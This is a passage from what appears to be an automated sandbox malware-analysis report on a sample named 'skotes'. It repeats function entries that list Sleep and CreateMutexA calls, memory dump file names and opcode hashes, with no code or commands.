CreateMutexA.KERNELBASE(00000000,00000000,00723254), ref: 006CA981

Strings

T2r, xrefs: 006CA970

Memory Dump Source

Source File: 00000003.00000002.2137416563.00000000006C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000003.00000002.2137393646.00000000006C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137416563.0000000000722000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137476108.0000000000729000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137493218.000000000072B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137511682.0000000000737000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137610422.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137628319.0000000000895000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137648601.00000000008AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137648601.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137684076.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137701715.00000000008BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137718496.00000000008BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137735132.00000000008BF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137751253.00000000008C0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137767245.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137785295.00000000008CB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137801490.00000000008CC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137819357.00000000008CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137836109.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137857748.00000000008EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137873898.00000000008ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137890889.00000000008F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137910104.0000000000906000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137930851.000000000091C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137947573.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137963946.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137983504.0000000000927000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138014184.000000000092E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138033978.0000000000934000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138056652.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138075514.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138093691.0000000000945000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138111974.0000000000948000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138130532.0000000000950000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138147754.0000000000951000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138167289.0000000000958000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138184594.000000000095A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138201270.000000000095B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138224934.0000000000963000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138248373.0000000000974000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138270674.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138288032.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138305522.0000000000979000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138332374.000000000097A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138352064.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138352064.00000000009A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138404976.00000000009BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138428557.00000000009BF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138451361.00000000009D3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138473245.00000000009D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138491858.00000000009D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138511104.00000000009DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138534845.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138559180.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138578099.00000000009EB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2r
API String ID: 1464230837-3348044575
Opcode ID: 27c8620d6b8fdadd6dc9b73ed2b45ff2514e3437ef97458bb92e1d71763a1aad
Instruction ID: 892d1350f4fa8b1ec6486e595d5d8e68868b9e1ceaabc7c254f08dd3cee0cd6d
Opcode Fuzzy Hash: 27c8620d6b8fdadd6dc9b73ed2b45ff2514e3437ef97458bb92e1d71763a1aad
Instruction Fuzzy Hash: 0E312A71B101489BEB189BA8D88DFFCB763EB86314F20865DE018D73D1C73589818766

Function 006CA079 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 006CA963
CreateMutexA.KERNELBASE(00000000,00000000,00723254), ref: 006CA981

Strings

T2r, xrefs: 006CA970

Memory Dump Source

Source File: 00000003.00000002.2137416563.00000000006C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000003.00000002.2137393646.00000000006C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137416563.0000000000722000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137476108.0000000000729000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137493218.000000000072B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137511682.0000000000737000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137610422.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137628319.0000000000895000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137648601.00000000008AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137648601.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137684076.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137701715.00000000008BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137718496.00000000008BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137735132.00000000008BF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137751253.00000000008C0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137767245.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137785295.00000000008CB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137801490.00000000008CC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137819357.00000000008CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137836109.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137857748.00000000008EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137873898.00000000008ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137890889.00000000008F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137910104.0000000000906000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137930851.000000000091C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137947573.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137963946.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137983504.0000000000927000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138014184.000000000092E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138033978.0000000000934000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138056652.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138075514.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138093691.0000000000945000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138111974.0000000000948000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138130532.0000000000950000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138147754.0000000000951000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138167289.0000000000958000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138184594.000000000095A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138201270.000000000095B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138224934.0000000000963000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138248373.0000000000974000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138270674.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138288032.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138305522.0000000000979000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138332374.000000000097A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138352064.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138352064.00000000009A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138404976.00000000009BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138428557.00000000009BF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138451361.00000000009D3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138473245.00000000009D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138491858.00000000009D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138511104.00000000009DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138534845.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138559180.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138578099.00000000009EB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2r
API String ID: 1464230837-3348044575
Opcode ID: f3a7b17f7e814734792fa9c954ad1a7bcec41d3d22ad176b236ce6579e2cebeb
Instruction ID: fbefc458cac274d5fd7746e0699b6e1cd10d4eeedfef52e795871d0568ea4015
Opcode Fuzzy Hash: f3a7b17f7e814734792fa9c954ad1a7bcec41d3d22ad176b236ce6579e2cebeb
Instruction Fuzzy Hash: C8314831B111089BEB189BB8DC89FBCB773EB81318F24825DE018977D1C73A99808656

Function 006CA1AE Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 006CA963
CreateMutexA.KERNELBASE(00000000,00000000,00723254), ref: 006CA981

Strings

T2r, xrefs: 006CA970

Memory Dump Source

Source File: 00000003.00000002.2137416563.00000000006C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000003.00000002.2137393646.00000000006C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137416563.0000000000722000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137476108.0000000000729000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137493218.000000000072B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137511682.0000000000737000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137610422.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137628319.0000000000895000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137648601.00000000008AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137648601.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137684076.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137701715.00000000008BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137718496.00000000008BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137735132.00000000008BF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137751253.00000000008C0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137767245.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137785295.00000000008CB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137801490.00000000008CC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137819357.00000000008CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137836109.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137857748.00000000008EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137873898.00000000008ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137890889.00000000008F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137910104.0000000000906000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137930851.000000000091C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137947573.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137963946.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137983504.0000000000927000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138014184.000000000092E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138033978.0000000000934000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138056652.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138075514.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138093691.0000000000945000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138111974.0000000000948000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138130532.0000000000950000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138147754.0000000000951000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138167289.0000000000958000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138184594.000000000095A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138201270.000000000095B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138224934.0000000000963000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138248373.0000000000974000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138270674.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138288032.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138305522.0000000000979000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138332374.000000000097A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138352064.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138352064.00000000009A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138404976.00000000009BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138428557.00000000009BF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138451361.00000000009D3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138473245.00000000009D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138491858.00000000009D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138511104.00000000009DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138534845.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138559180.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138578099.00000000009EB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2r
API String ID: 1464230837-3348044575
Opcode ID: f08f86f228fe57dbc04c410951a25b30eaf1b67a9e58a7e5a1b31511d804264f
Instruction ID: 8b7840d61832e1009b6ba47116172182061b417323d6f3299aab193a83cebf3e
Opcode Fuzzy Hash: f08f86f228fe57dbc04c410951a25b30eaf1b67a9e58a7e5a1b31511d804264f
Instruction Fuzzy Hash: ED314831B011089BEB089BFCDC8DFBCB763EB86314F24425DE004973D1C73A8A808656

Function 006CA418 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 006CA963
CreateMutexA.KERNELBASE(00000000,00000000,00723254), ref: 006CA981

Strings

T2r, xrefs: 006CA970

Memory Dump Source

Source File: 00000003.00000002.2137416563.00000000006C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000003.00000002.2137393646.00000000006C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137416563.0000000000722000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137476108.0000000000729000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137493218.000000000072B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137511682.0000000000737000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137610422.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137628319.0000000000895000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137648601.00000000008AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137648601.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137684076.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137701715.00000000008BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137718496.00000000008BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137735132.00000000008BF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137751253.00000000008C0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137767245.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137785295.00000000008CB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137801490.00000000008CC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137819357.00000000008CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137836109.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137857748.00000000008EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137873898.00000000008ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137890889.00000000008F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137910104.0000000000906000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137930851.000000000091C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137947573.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137963946.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137983504.0000000000927000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138014184.000000000092E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138033978.0000000000934000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138056652.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138075514.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138093691.0000000000945000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138111974.0000000000948000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138130532.0000000000950000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138147754.0000000000951000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138167289.0000000000958000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138184594.000000000095A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138201270.000000000095B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138224934.0000000000963000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138248373.0000000000974000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138270674.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138288032.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138305522.0000000000979000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138332374.000000000097A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138352064.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138352064.00000000009A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138404976.00000000009BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138428557.00000000009BF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138451361.00000000009D3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138473245.00000000009D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138491858.00000000009D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138511104.00000000009DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138534845.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138559180.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138578099.00000000009EB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2r
API String ID: 1464230837-3348044575
Opcode ID: 7e0db104fd05028f7771350e63baf066a935d6312e1522f3d0e250ab7366db57
Instruction ID: 59c1866271c92c5c3aa83292695f1b12e493a0d836ae5f9f58ac3005b5c0cb2e
Opcode Fuzzy Hash: 7e0db104fd05028f7771350e63baf066a935d6312e1522f3d0e250ab7366db57
Instruction Fuzzy Hash: CB313931B011089BEB1C9BBCDC8DFBDB6A3EB81318F20825DE0589B3D5D77989808656

Function 006CA54D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 006CA963
CreateMutexA.KERNELBASE(00000000,00000000,00723254), ref: 006CA981

Strings

T2r, xrefs: 006CA970

Memory Dump Source

Source File: 00000003.00000002.2137416563.00000000006C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000003.00000002.2137393646.00000000006C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137416563.0000000000722000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137476108.0000000000729000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137493218.000000000072B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137511682.0000000000737000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137610422.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137628319.0000000000895000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137648601.00000000008AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137648601.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137684076.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137701715.00000000008BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137718496.00000000008BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137735132.00000000008BF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137751253.00000000008C0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137767245.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137785295.00000000008CB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137801490.00000000008CC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137819357.00000000008CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137836109.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137857748.00000000008EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137873898.00000000008ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137890889.00000000008F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137910104.0000000000906000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137930851.000000000091C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137947573.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137963946.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137983504.0000000000927000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138014184.000000000092E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138033978.0000000000934000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138056652.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
